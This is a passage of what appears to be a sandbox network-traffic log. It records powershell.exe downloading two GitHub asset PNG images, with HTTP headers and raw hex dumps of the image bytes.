2024-09-30 13:50:53 UTC	1378	IN	Data Raw: 1c f9 7a 21 68 f6 b5 8a 63 3b 15 fa c4 b2 7a 57 f3 9d e0 c0 24 2e 89 62 d5 d2 61 1f 14 0d bd 5c 08 ca 06 ca 55 c7 04 df 1c 07 87 9e 18 d8 b6 9d 32 28 22 0d f5 bc 38 d1 f0 c7 df 82 65 cd 82 c3 a7 97 2b 4e 3c c2 1a 74 50 d0 b5 32 31 c5 15 65 4c 5d d3 2a 01 dd fc 30 b6 a5 53 23 5c 26 d1 98 1f ff 28 e0 87 af 9a 32 0a 62 1b f2 97 11 76 e9 04 93 c2 18 c2 2c d5 5c 55 96 6b 3e 91 3b a5 40 fc d8 61 9e 56 92 54 0d 32 93 0b b7 18 53 e0 d3 bb 31 4c bd fb f9 d5 a7 22 b9 73 af 05 46 f5 fb bd bd 7e bf d9 18 f5 fb 22 15 bd d9 1e 7e dc 6e 5e 30 6f aa 04 85 98 82 66 42 29 8e 29 17 44 71 45 f9 08 48 c9 08 4c 41 47 38 a0 c3 80 2f 75 49 1d 41 9f 6c 51 56 6c 4b e3 07 cc d8 95 ed 99 2c e8 45 ed e8 22 13 ff 9b 55 a5 d7 23 e0 88 15 be 7e d5 08 47 ba 2d dd 6c 57 a1 03 9f d7 c3 be Data Ascii: z!hc;zW$.ba\U2("8e+N<tP21eL]*0S#\&(2bv,\Uk>;@aVT2S1L"sF~"~n^0ofB))DqEHLAG8/uIAlQVlK,E"U#~G-lW
2024-09-30 13:50:53 UTC	1378	IN	Data Raw: 18 b6 12 bd 29 da 2f 23 99 66 95 7f 1a f3 c0 c0 b4 98 22 ab 9b 31 45 81 26 33 76 a2 13 4e 89 63 8a f7 a8 f3 30 76 f5 9a a8 b4 2d e7 a3 95 6f 3e 8a 1a cb d6 8c 24 2e 73 f6 10 a0 30 27 97 6d 1e 72 6e a1 29 bd a7 d5 7c e5 19 e1 6f 5f d5 22 a9 d1 4d 33 16 f9 62 99 2f 1f 33 40 d5 02 01 40 c7 08 a1 1f 8e 5a 9d ce f0 70 b8 df fb 19 41 2a 1c 6f 0d 3a 50 fb c7 e3 12 53 0c 53 07 4b 33 e3 54 3c 6f aa 98 15 07 1c 53 2b 61 3a 41 46 78 49 12 53 4f 59 de 14 25 54 31 e3 30 0f d4 4d 8c 4d 51 f6 11 cb 38 00 14 9c 70 3d e4 2a d3 62 8a 7f 9c 4d dd 8f 63 6a 6c 83 2e 87 81 e5 48 7a 21 30 f4 e5 89 0c 53 34 80 19 11 c6 e2 b1 8b 30 ef dd 14 4c 61 d1 2d fd 3a 47 c2 cf cb be 2c df f7 98 13 16 77 cf 7c 32 31 e5 08 5e 85 ba 94 93 a2 96 f4 7a 99 39 4b d5 d8 6f 9f 53 8a 92 f8 12 f5 ea Data Ascii: )/#f"1E&3vNc0v-o>$.s0'mrn)\|o_"M3b/3@@ZpAo:PSSK3T<oS+a:AFxISOY%T10MMQ8p=bMcjl.Hz!0S40La-:G,w\|21^z9KoS

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.7	49812	185.199.110.154	443	6764	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 13:50:54 UTC	369	OUT	GET /assets/illu-discussions-2-b915a6dd867e.png HTTP/1.1 Accept: / Accept-Language: en-CH UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive
2024-09-30 13:50:54 UTC	661	IN	HTTP/1.1 200 OK Connection: close Content-Length: 81599 Cache-Control: public, max-age=31536000, immutable Content-Type: image/png Last-Modified: Thu, 08 Aug 2024 18:11:57 GMT ETag: "0x8DCB7D59753B9C2" Server: Windows-Azure-Web/1.0 Microsoft-HTTPAPI/2.0 Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 2420813 Date: Mon, 30 Sep 2024 13:50:54 GMT X-Served-By: cache-iad-kiad7000110-IAD, cache-ewr-kewr1740020-EWR X-Cache: HIT, HIT X-Cache-Hits: 3581, 0 Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: 825a7faa741ffd4cbcc743dd94def011061fa632
2024-09-30 13:50:54 UTC	1378	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 04 b8 00 00 03 24 08 03 00 00 00 8c 78 69 d2 00 00 02 fd 50 4c 54 45 2e 33 3b 00 00 00 24 27 2e 76 76 76 38 3e 46 3e 3e 3e 39 3d 47 ad b9 c6 3f 44 4f 66 66 66 2c 2c 2c 3c 43 4b 44 4c 55 ab b9 c5 30 35 3d 46 4d 56 28 28 28 aa b7 c4 36 3c 44 42 48 51 3d 44 4d 41 46 4f 27 2a 31 a4 b0 bc a0 ad ba 48 50 59 39 3f 47 a7 b3 c0 2f 2f 2f 26 26 26 a8 b4 c2 34 3a 43 a5 b2 be 3b 41 48 33 39 41 51 51 51 8f 9a a6 6d 76 81 92 9d a9 32 38 3f 2f 34 3c 9b a6 b3 24 24 24 5e 65 6f 51 59 63 31 37 3e 29 2d 33 ec ec ec 63 6c 76 86 90 9b 65 6e 78 22 22 22 9e aa b8 44 4b 53 58 60 6a 4b 52 5b 57 5f 68 9f ac b8 50 58 60 4d 55 5e 89 94 9f 97 a4 af 78 83 90 5a 62 6c 61 6a 74 54 5b 64 7d 87 91 99 a5 b1 8c 97 a3 9d a8 b4 39 3d 46 94 Data Ascii: PNGIHDR$xiPLTE.3;$'.vvv8>F>>>9=G?DOfff,,,<CKDLU05=FMV(((6<DBHQ=DMAFO'*1HPY9?G///&&&4:C;AH39AQQQmv28?/4<$$$^eoQYc17>)-3clvenx"""DKSX`jKR[W_hPX`MU^xZblajtT[d}9=F
2024-09-30 13:50:54 UTC	1378	IN	Data Raw: d0 24 1a ae ef 5c 96 78 9d 07 00 95 cc 7d 5c 4a fe 0d 92 34 c3 b5 9d f6 77 9b f6 d4 00 a8 24 ed eb 10 ed dc 82 22 c9 70 3d 4f eb 7f a8 16 50 d9 7d ed ed 7c 06 41 8a e1 ea 0e eb 57 ba 05 54 97 d6 d9 8e 36 e8 51 0c 57 2e 71 a2 5b 80 80 b4 c6 92 83 1e c1 70 75 0f bb dd 1b 00 02 d2 e7 f2 08 7a 04 c3 b5 95 38 35 00 24 7c 5c 8b e0 3e 2f 18 ae 6c f3 de 00 90 b0 cf 26 78 2b 2a 86 6b 19 58 b8 00 11 e9 8b 70 bd a3 cd e3 a5 01 20 e2 32 0a fe 15 05 c3 75 10 2e e0 9f bd 3b 46 6d 1c 88 c2 38 4e 3c 4c 61 57 5b b9 4a 97 62 bb bd 8f 0f a2 ea 69 40 30 ee 54 e4 04 aa 2c dc 08 16 84 82 10 32 c4 44 9b 2d 42 46 e8 02 c6 24 cd 92 66 ef b0 6f a4 4d b7 59 cb 91 8b 57 7c ff ca f8 00 3f de 1b 8d 65 39 79 b8 c4 c9 25 0f 2e 0d b8 10 12 14 c3 a5 01 d7 89 14 e0 42 48 54 80 6b 4c 0a 70 Data Ascii: $\x}\J4w$"p=OP}\|AWT6QW.q[puz85$\|\>/l&x+*kXp 2u.;Fm8N<LaW[Jbi@0T,2D-BF$foMYW\|?e9y%.BHTkLp
2024-09-30 13:50:54 UTC	1378	IN	Data Raw: 14 71 d1 4f 76 a3 d1 07 f8 38 9b 38 11 57 2c b1 b6 1d 5e 59 20 de 22 90 a0 eb e9 76 02 42 ae e9 d5 d8 7c a1 10 d9 d9 d9 dd 89 c7 5f 37 59 94 aa d5 06 ea 08 6e 20 e4 3a 66 92 bb 0d a1 0e 59 69 49 b7 05 cd 5e 86 e1 ac 1a b6 28 a5 11 17 ac cd 6e f9 31 6f 59 cb 0c 35 51 22 22 6f 04 32 ab 58 27 b0 61 45 a1 88 8b 3f 8c 0b 0e 87 a8 c3 35 ae 8a b3 d5 84 e8 fc 2d dc 15 11 ca a6 33 e0 2d 22 ae 52 cc b5 bd 36 3f 35 3d f5 68 6e 6a a3 10 09 e1 03 ba 42 31 ea f5 70 5d 1b 75 be be b8 24 1e ce 64 ef f6 4c 78 cd 7a 9a ac 1d e3 66 ab db 6e f6 da 8f b9 87 c1 ee 96 52 22 22 6f 02 22 ae 93 42 db 56 14 90 b8 de 22 e2 aa 54 9c a7 9f ac bf 10 d7 ef 31 a8 d1 4f 93 80 eb 1e 50 0a b8 b0 b9 9e 66 0b 10 8e cd cd dd d9 28 14 12 7b 7b 89 44 a2 40 bd 1e fd cd 88 79 6d 71 d1 41 6f af 9e Data Ascii: qOv88W,^Y "vB\|_7Yn :fYiI^(n1oY5Q""o2X'aE?5-3-"R6?5=hnjB1p]u$dLxzfnR""o"BV"T1OPf({{D@ymqAo
2024-09-30 13:50:54 UTC	1378	IN	Data Raw: 37 f8 b2 38 df 73 1d 87 5f 80 fa 3c d2 75 52 b2 0e d4 c8 e0 7b 07 be 39 4a 5c ac cd ef c7 55 27 79 ef 4b 71 a9 18 63 00 8b cb d8 c3 6b cc d5 46 ae 9a bc fb c5 d5 44 53 40 9b 79 62 5f 3f aa cf 47 2e d2 46 5c 24 93 9a cc 6a 7e d9 4b c4 65 e1 e0 7e 18 95 d9 24 a3 44 44 aa 3b 48 f0 4c 3d 34 72 09 c8 5b c2 11 17 fe 3f c1 21 d7 99 0a ed 10 bf ce de 5f 07 ee df cf ef ee 24 e6 ef dc 9a 0f ad 65 d7 96 a2 eb 30 f0 93 5c 06 36 33 e9 54 74 67 67 2d 9d c9 84 13 f3 5b 2b db cf 40 59 40 02 b6 16 a9 72 0c 1f a2 73 4e 0a 73 01 a1 51 16 8b eb ba ac d8 c1 70 59 46 b1 1f 22 f4 91 c7 77 b8 1d 42 76 19 21 1b bc 36 a2 ab b2 97 e2 b2 21 74 93 0f 83 20 47 74 50 ea 56 d4 c1 27 81 13 47 88 8b b6 8d 43 1b d7 41 71 f5 ca b1 b8 1c 3e f2 23 60 8d 01 06 17 b3 5f 5c a7 8b 8d f4 a6 23 f2 Data Ascii: 78s_<uR{9J\U'yKqckFDS@yb_?G.F\$j~Ke~$DD;HL=4r[?!_$e0\63Ttgg-[+@Y@rsNsQpYF"wBv!6!t GtPV'GCAq>#`_\#
2024-09-30 13:50:54 UTC	1378	IN	Data Raw: 1a 07 c6 be fb 4a a7 bb 86 2f 37 9d 42 ca 53 ed 5e 0a e3 bd 82 10 1a 2b 1b b2 96 7f a7 53 7e 74 71 e0 22 34 b3 7a 70 89 69 40 89 9a bb 3a 2e b5 7e 5b 3e f2 e3 64 b8 c1 6e 1e 05 3f e0 c8 39 2d 32 8b 95 83 80 ab aa 1a d7 09 b3 df a3 50 37 59 9d 26 2c 2e 4a e2 1e 1f 1a f4 58 4d 4e 5b b1 73 de c4 b9 15 16 9b 93 33 8a 01 97 48 d5 07 09 be 43 8a f3 02 3a d8 46 20 e2 2a 46 5c 35 f5 f5 95 76 15 d9 c7 b3 f9 d9 99 e9 db 73 73 73 33 f3 85 87 99 e4 56 68 0d 6b 0b 7a 50 33 7f a7 17 16 20 e4 5a b8 bb 0c f3 8a c9 c5 f0 5a e4 f6 ad 57 6f 2a 12 73 5d 6b 45 c0 75 b3 94 3a 24 2e 48 be da c9 ac 62 57 bf 82 c6 df d9 fa 15 42 ad bc ad b4 1f c3 07 1a ca c4 45 ab fa 2f 21 a0 f9 2c 39 59 8b d6 7c db 05 ab 2e 53 79 3b 44 80 29 61 24 e2 39 ed e4 c6 cd 1c 33 28 a3 aa 11 17 19 4e e4 Data Ascii: J/7BS^+S~tq"4zpi@:.~[>dn?9-2P7Y&,.JXMN[s3HC:F F\5vsss3VhkzP3 ZZWos]kEu:$.HbWBE/!,9Y\|.Sy;D)a$93(N
2024-09-30 13:50:54 UTC	1378	IN	Data Raw: e0 0a da 35 86 61 36 98 55 74 e8 59 51 a3 f5 10 ea c5 45 09 b3 51 c8 bc fc 55 51 e2 ba bb 8b c5 62 e0 41 5c 82 ee 30 4e 13 9a 58 fc 08 e8 22 6c 1c c4 fd 7e b0 70 a9 4f 95 e3 2d 86 d9 6c e4 c7 71 44 8d 8b 02 2e e5 d1 96 61 a8 17 17 39 8b be 64 e7 7c b1 1d a2 9c f6 30 c0 cd b1 1f 5d 5f 8a 2b 08 82 14 05 fa 5c 5c 6f f7 52 78 2b 82 b8 3a ec 2d 86 a9 60 c8 da 11 e1 16 a1 c5 b4 a2 6a 71 ad cd 65 ca 21 eb cb a2 38 5f ce e0 c7 fe 2f 9c 4c dc 5f 4e 30 fe b3 a4 23 65 41 9c ec 1d d0 bc 0f a6 16 e3 38 c2 cd 8c 60 67 e0 b2 b7 18 66 d3 88 ab 4e 67 15 25 86 0e d5 79 c5 e2 fa 23 6f d2 16 b0 21 ae c7 42 5c e5 74 96 b9 ba 3e b8 dd dd 28 8d a3 08 51 56 34 0e b3 6c 0e 6d f5 a3 39 c4 b5 b3 d3 e1 fa 16 c3 6c 1c 71 35 e9 58 46 f1 aa a8 bc 17 c2 50 2e ae 02 59 e2 32 9d 75 1f 57 Data Ascii: 5a6UtYQEQUQbA\0NX"l~pO-lqD.a9d\|0]_+\\oRx+:-`jqe!8_/L_N0#eA8`gfNg%y#o!B\t>(QV4lm9lq5XFP.Y2uW
2024-09-30 13:50:54 UTC	1378	IN	Data Raw: 79 01 2a 81 0c 80 dd 0f 96 40 f7 ca f0 da 01 55 99 9d 9d 50 bd 2d 14 2a 12 b8 58 2c 94 53 d0 43 6e d4 a3 30 10 b3 d6 31 35 41 bd 40 8e a8 f8 3b 67 82 47 e6 bb 4b 18 1c d0 e2 7c ff 1c 8e 17 9b 5d 18 3a db d9 26 f4 93 c9 15 f2 18 46 8b d0 68 6e 80 8b d0 d9 e9 02 0c 02 3a f9 5c fe 8f 33 a4 66 41 00 10 54 6b 03 46 05 3a b7 66 61 88 30 71 d1 3a ae eb 7a 88 29 2e 2e 02 7b 48 e1 ac 9e c9 d8 24 3c 56 ce 4b c9 af 17 93 b9 d1 fe 33 b1 30 0f 2e 76 c4 1a 82 1e f3 c9 f5 01 e5 90 8f 69 d4 8b eb 62 94 48 ec 48 6c 22 f0 48 69 4f 35 c0 e1 e3 51 ad 7f 06 86 0a bb 3b 70 07 82 1c c2 70 6f 76 62 3f e0 06 65 49 62 d7 58 3d 15 3f 29 30 5a 3a 6f de ab e0 42 da 4b 0e 36 e3 17 f6 44 0b c1 9d 44 77 c5 0c 40 e7 2a 76 09 a3 42 6a c6 f2 30 4c 9c 3a ae 30 cb cb 3b 69 2e ff 77 56 f4 5b Data Ascii: y@UP-X,SCn015A@;gGK\|]:&Fhn:\3fATkF:fa0q:z)..{H$<VK30.vibHHl"HiO5Q;ppovb?eIbX=?)0Z:oBK6DDw@*vBj0L:0;i.wV[
2024-09-30 13:50:54 UTC	1378	IN	Data Raw: b5 87 2f b4 4c 54 d6 d9 03 fa 88 74 00 d2 df 78 45 8d 9b ed 33 51 25 52 d3 27 1b 8f 08 2e b6 93 20 0d e2 7a 71 ce 63 a3 6b 21 aa ed 23 bc ab cd eb 87 6c 6b 33 84 7e 0d 85 a5 37 21 b0 a0 1d a3 df ea d7 9d e5 2b 11 76 48 97 b9 3e e1 95 2b a7 7d ea 97 89 1b bf 26 d7 48 7f 8e 72 f0 70 93 8c 11 98 41 60 6d 2c 1b 71 8f a7 ab f0 e4 33 6b a6 2a 26 06 a7 b9 25 8b 6b 9f df 9d 8d e5 18 06 57 04 8a 99 6c dc 33 7c 53 e5 63 8b 6e d9 b7 7c e9 ca e9 89 1b f2 80 5c 5d 97 a5 ee d0 9e f7 cb 86 1b 61 f6 c1 11 4b 42 f7 cf c1 35 35 60 30 9d dc ee a8 d9 65 70 55 fb d9 9a c7 93 d7 61 8b d0 d7 52 13 74 5c 86 2b 51 a8 2d 98 78 ae 26 df cf 7b ca 6f cc 7c 7b 0c a1 98 76 96 c7 4a 29 fd 07 70 39 7e 81 c7 d4 3c 6d 56 ba 65 4f be cf 75 dc 64 b8 ab 7c 3f ea 4c d5 2b 4d 51 7f 2f b8 7c 30 Data Ascii: /LTtxE3Q%R'. zqck!#lk3~7!+vH>+}&HrpA`m,q3k*&%kWl3\|Scn\|\]aKB55`0epUaRt\+Q-x&{o\|{vJ)p9~<mVeOud\|?L+MQ/\|0
2024-09-30 13:50:54 UTC	1378	IN	Data Raw: 63 5d 02 97 c2 dc 53 9f e8 7b 65 e0 de 83 76 64 f6 d3 16 69 ca 33 2e 02 b4 b2 70 54 30 a2 1a 70 25 64 12 30 a8 ee 5b a8 a2 5c 93 80 8b b5 b8 e6 33 b5 b9 0a 5c 4d 2b 3b 56 14 04 98 ec 22 b7 40 00 d4 84 a7 6c cc 5e c0 53 b4 1a 5c 97 ca 5b 0b 20 b2 5c 2e 83 4b 8a 30 0b 42 e9 17 80 eb 8c 4b 5b 88 d6 e3 70 f2 ea b6 a0 f0 cc 0d 16 85 b4 06 3e 67 0b aa 77 81 eb 17 40 d4 ae 93 e1 9b 84 09 76 bf 6d 7d 19 5c 82 3a 93 b8 1a 5c 52 1e 98 aa 2a 61 3c 19 e3 0e 34 b3 08 31 b9 be 12 5c a8 d1 b6 58 5e 4d 18 b8 a6 26 11 62 84 41 11 58 da 60 ec 95 ef 00 57 9c 26 ae 1d c1 31 71 7e e1 35 0b 22 c7 00 76 db b8 44 1c b9 a1 db 9c 1d 32 ed 24 2e 5c 00 65 8c 50 2c 61 05 96 63 fe 0a 81 9a c0 6a 1e 1d cb 93 d0 6a 70 95 9b ec 97 c8 f3 db 12 b8 18 14 27 70 b0 04 2e a4 b5 71 3e 2e 45 02 Data Ascii: c]S{evdi3.pT0p%d0[\3\M+;V"@l^S\[ \.K0BK[p>gw@vm}\:\R*a<41\X^M&bAX`W&1q~5"vD2$.\eP,acjjp'p.q>.E
2024-09-30 13:50:54 UTC	1378	IN	Data Raw: 63 bd 06 00 e7 8f 11 b3 03 b7 89 3f e7 cc 24 c2 8f e2 1c 5c c7 92 7f c3 bc a2 be 0c 2e 29 67 96 c1 2b 04 77 80 77 97 15 69 49 76 79 36 c2 42 de 75 e0 ac 26 b6 e9 39 5b 0f 03 d7 c7 72 d5 2c 26 ba 14 ee 01 17 cf e6 ad 49 d1 04 97 fc 63 c3 04 72 42 d8 c6 3e ae d9 10 bb 3e 13 f2 ef 82 eb 0d 7f a6 d1 3c ae 02 d7 10 ea ac d0 03 fe 01 e0 2a f4 45 27 58 d4 50 cf 36 72 52 57 03 0b 4a 06 2f 52 17 b8 91 40 a0 9a 3e 12 89 d3 fa 48 68 21 33 c3 47 fc 98 f8 b8 c4 a1 c9 54 ff 1c 5c 9e b3 aa 99 34 1a ca f7 82 cb 0b c5 88 d9 1b 28 b8 fc 72 1d 99 d9 e9 cf c1 e5 cc c2 a4 d9 84 d7 56 1f f2 f9 61 d8 3c 65 05 b8 c0 a5 fc 26 54 d7 f3 60 15 b8 82 c2 31 58 94 3b d6 4a 95 83 1d 02 b9 35 b9 55 06 b7 f2 0d f8 4b 73 35 e0 51 2d 2e 6a 6e b1 a9 e2 33 d8 90 eb c9 c1 65 4e 96 d9 cb 32 3e Data Ascii: c?$\.)g+wwiIvy6Bu&9[r,&IcrB>><*E'XP6rRWJ/R@>Hh!3GT\4(rVa<e&T`1X;J5UKs5Q-.jn3eN2>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.7	49813	185.199.110.154	443	6764	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 13:50:54 UTC	371	OUT	GET /assets/illu-pull-requests-2-280cc958fc05.png HTTP/1.1 Accept: / Accept-Language: en-CH UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive
2024-09-30 13:50:54 UTC	661	IN	HTTP/1.1 200 OK Connection: close Content-Length: 35090 Cache-Control: public, max-age=31536000, immutable Content-Type: image/png Last-Modified: Thu, 08 Aug 2024 18:11:57 GMT ETag: "0x8DCB7D5974F2B21" Server: Windows-Azure-Web/1.0 Microsoft-HTTPAPI/2.0 Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 2927994 Date: Mon, 30 Sep 2024 13:50:54 GMT X-Served-By: cache-iad-kcgs7200121-IAD, cache-nyc-kteb1890085-NYC X-Cache: HIT, HIT X-Cache-Hits: 1711, 0 Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: 8c208b2f103241e201b61e28831ed476c512d231
2024-09-30 13:50:54 UTC	1378	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 04 b8 00 00 03 24 08 03 00 00 00 8c 78 69 d2 00 00 02 fa 50 4c 54 45 00 00 00 44 4d 56 44 4c 57 48 50 58 44 4c 56 45 4e 57 45 4b 57 45 4d 57 44 4d 57 50 50 50 22 27 2e 2d 33 3b 44 4c 56 ad ba c7 76 83 90 34 7d 39 e5 53 4b 5d 66 70 8d 98 a4 4d 55 5e 3d 44 4d 37 3e 47 6c 78 84 6d 77 81 42 4a 53 9d a9 b5 61 6c 78 ff ff ff a5 b2 be 35 3b 44 7d 88 93 4c 55 5f 71 7d 8a 9d a9 b6 7d 87 92 3c 44 4c 27 2d 34 57 60 6b 57 61 6b 75 7f 8a 07 07 08 51 5b 65 6b 38 39 45 4d 55 09 0a 0b 47 4f 59 95 a1 ad 18 1d 20 85 90 9b 66 72 7e 8a 95 a1 33 3a 41 32 38 41 11 13 16 55 5d 67 19 1b 1c 3b 2c 32 cd 4e 47 57 5e 67 65 6e 78 79 83 8e b4 48 44 0d 0f 11 2e 2a 30 15 19 1d 52 5b 66 d9 50 49 2b 30 38 83 3d 3d 14 17 1a 0f 10 12 32 Data Ascii: PNGIHDR$xiPLTEDMVDLWHPXDLVENWEKWEMWDMWPPP"'.-3;DLVv4}9SK]fpMU^=DM7>GlxmwBJSalx5;D}LU_q}}<DL'-4W`kWakuQ[ek89EMUGOY fr~3:A28AU]g;,2NGW^genxyHD.*0R[fPI+08==2
2024-09-30 13:50:54 UTC	1378	IN	Data Raw: 84 eb 46 b9 cb 32 71 7d f0 cf e6 03 2d 45 6b 3a 26 08 82 82 6e 9d 6d 10 04 86 04 e1 15 b9 7e 71 dd dd fb 67 73 7f 47 0b d0 0f 7b af 66 1f 6e a9 a3 fe 33 a0 5b c7 78 9e 17 91 20 bc 22 d7 2f ae 9d cf bc 64 82 de 16 5e 4f a8 a9 41 c4 55 23 e2 12 9c 40 b9 cb 12 71 7d f2 c1 4b 6f 16 ed 0f ef 88 4c 53 8d 88 ab 46 c4 25 38 81 72 97 05 e2 ba db f9 ab b8 7f 4b cf 13 78 35 71 98 9b 22 e9 cd 25 e2 aa 11 71 09 4e a0 dc 65 56 5c 53 15 f3 97 57 d0 1b af a6 b2 d4 90 1f 3e 13 91 88 ab 46 c4 25 38 81 72 97 39 71 71 66 fe c5 97 5c d9 c1 55 00 16 d3 44 bd b8 4a 63 b6 96 3a 10 38 8a e8 1a 04 37 9a 18 5b 9a 4d d9 1c 71 1a d8 ed 49 2b 44 b6 34 86 6e 86 41 e3 b6 1f ee 96 63 b6 19 fb b8 0b c4 ea 7e bb 90 dd 18 be 46 d7 9c 5c 8e d9 72 1b 1e 7e 4b 22 2e c1 09 94 bb cc 89 0b 19 ae Data Ascii: F2q}-Ek:&nm~qgsG{fn3[x "/d^OAU#@q}KoLSF%8rKx5q"%qNeV\SW>F%8r9qqf\UDJc:87[MqI+D4nAc~F\r~K".
2024-09-30 13:50:54 UTC	1378	IN	Data Raw: 1e e8 a8 50 4c ea b8 04 37 50 ee b2 46 5c 9f 7f 7e 9e f7 d6 bc b8 34 7e 11 53 12 d9 cd 8f ae a8 73 4c 5c b6 b3 87 ae 03 d3 e2 b2 c9 a1 3f 63 8a d8 8b b9 72 be 4d c1 eb 1f e8 84 17 66 16 fb c9 0e 3e 63 8b 41 72 be 0e ea f6 17 d1 bf a9 c6 f4 bf f6 de 66 f8 6d d0 50 5c 98 dc 5e a3 23 ae 2d 6b bc c8 ad 42 b4 69 1b 85 dd f8 b1 b1 f5 58 52 39 2f b8 80 72 97 35 e2 fa f9 06 c5 a6 ec ad 35 e2 c2 ca 84 c1 97 77 44 5c 38 7a fb a0 29 25 78 46 5c 54 72 57 21 84 d1 d9 31 08 f7 cd e1 17 51 57 c7 55 44 61 8c e2 75 26 3f 9c 09 f6 71 33 0c 8b 8b 2b 17 30 8c e1 58 af 5b 16 17 86 68 48 50 59 51 50 3f 4f 08 18 d8 a4 9d d8 61 1a 1a 97 f5 54 22 2e e1 f5 51 ee b2 26 39 ff e5 0d cc b5 c0 5b 3b 7a 8e 4d e2 31 05 81 11 71 e9 ae dd af cd 73 e2 a2 b2 6d 57 59 88 ab 8f 81 00 ad 22 1e Data Ascii: PL7PF\~4~SsL\?crMf>cArfmP\^#-kBiXR9/r55wD\8z)%xF\TrW!1QWUDau&?q3+0X[hHPYQP?OaT".Q&9[;zM1qsmWY"
2024-09-30 13:50:54 UTC	1378	IN	Data Raw: 70 65 09 68 90 9b c3 ab ce 93 ff 52 45 6c 45 18 36 97 42 36 37 55 8f 73 d3 b5 73 74 91 3a 10 e7 1a 23 7f 31 c7 00 da 5d 72 bb 65 44 86 38 ce 76 b8 34 28 02 69 32 3e 2a 25 4a 57 39 3d 5f 15 d4 71 aa ad e2 56 a9 94 c0 75 9a ea 9b a9 d9 c7 8a 0c 21 a6 22 a9 50 88 fd dc 5e 3e 7c d2 41 1a 4f 92 72 9e 1c cd ec c4 cb 7c e6 ff 03 ae 77 ab b6 e6 35 b8 82 f3 d6 bb 59 1d 47 a6 22 22 2d 9d ab 47 ca 63 cb ec 71 68 58 c0 35 19 c4 4e b5 9e c0 cc 48 c9 6b fd 21 f3 32 e7 5d 68 28 a7 5f 0c fe d9 6e bd d2 18 19 ce b9 c1 89 e5 4c e3 d2 02 81 6e c6 4f 74 bb 25 37 bd fc 9f b4 5a db 47 8e 2c 9a 4a 63 3e 9c f3 2a 39 79 50 1f dd ad e6 34 6f 60 9b f9 25 ad 76 f2 15 f9 14 de 72 36 b8 64 0a 70 45 27 4f a3 8b c7 46 3f 15 5d df ac 91 45 87 9e e8 93 de 20 ef 3a cc ad 3d aa c0 e2 52 29 Data Ascii: pehRElE6B67Usst:#1]reD8v4(i2>%JW9=_qVu!"P^>\|AOr\|w5YG""-GcqhX5NHk!2]h(_nLnOt%7ZG,Jc>9yP4o`%vr6dpE'OF?]E :=R)
2024-09-30 13:50:54 UTC	1378	IN	Data Raw: c3 af 02 5c 9a 64 e5 57 b0 9a 52 8a c1 a4 dd 22 cc 2e d8 48 ae 92 99 ee 58 e9 05 37 a2 0b b9 66 98 3e d4 cc d9 55 c4 20 7e 1c 98 18 5a df 94 e0 a2 7e dc 21 3f 55 01 c9 4c 07 99 ab 35 30 7e a1 5b cc e7 46 33 af 96 6a 30 2d 37 e7 8b 34 2a ad 77 2e bd 0c f8 25 8d 39 8c 9e 30 32 0b 9b 33 e0 32 5b f3 16 7a c7 29 c2 99 de de d5 e7 c1 c5 5f 85 19 4b a2 0c 53 4a bc 10 bc 1e 60 6c de f4 c9 c8 e8 12 3d ec 7c 57 d9 c5 d0 5c 0a f6 22 b8 b8 72 a7 54 67 24 94 9a ca 10 16 d4 17 c0 b5 5b 43 56 0e 6b ba a9 dd e4 c6 1d 8a 74 6a a9 07 b8 6e d9 9c d7 30 b8 5c 96 36 c0 05 ad 2e 81 ab 6c a6 04 d7 3e 3a b4 82 6b 10 58 5e 0d ba e6 de a9 49 b6 0e 52 cb f4 7e 0b 5c cd 05 70 75 8a 17 b3 60 83 e5 84 c0 25 b1 f5 c5 63 33 6b 86 cc ac 51 21 2a cf b5 5e 58 36 a0 a2 62 3d 05 83 e4 b5 f7 Data Ascii: \dWR".HX7f>U ~Z~!?UL50~[F3j0-74w.%90232[z)_KSJ`l=\|W\"rTg$[CVktjn0\6.l>:kX^IR~\pu`%c3kQ!^X6b=
2024-09-30 13:50:54 UTC	1378	IN	Data Raw: 1a ed 19 70 51 c3 13 b1 d2 2b 2a 39 cb 4a 63 cb 09 48 4b 87 74 06 89 34 4b 0c a9 d2 9c a1 1b d0 46 64 c9 7b 7e 9e 07 92 81 92 50 c0 4f fa 30 7a 38 d6 89 ab f1 a4 7b 13 dc ec d6 26 d4 82 8f 63 72 84 2d f9 39 0c 62 ee 05 2e fe e2 f4 79 70 b5 78 09 bd ab 4d 70 61 99 66 89 c0 1f bb 45 5d 93 26 cf 3c d6 c9 1c ef 41 61 99 90 65 5f 35 6b 47 8d 71 5c 7a a5 5a 4b 78 b3 54 52 4b 52 3c b5 ac d4 fc f2 bd e0 52 a6 a6 5f 4c 09 ae d2 7b fd 66 0c 3d c0 75 0b b8 4c f0 79 00 bb d6 20 9e 28 a7 de 9a 4d 70 99 66 ae 3e 98 0b e0 32 75 1f e3 ae 26 93 91 1e cb c7 83 3d 82 ab ed f4 00 7b ae bd 54 a9 8f 0e ea da b4 9e 11 61 ec 05 70 19 9b fd a8 b6 9f 2a a2 30 ce 11 37 ad 11 36 c2 69 72 06 4f 25 a3 35 8c d5 2d 2c 52 9e af 61 6a 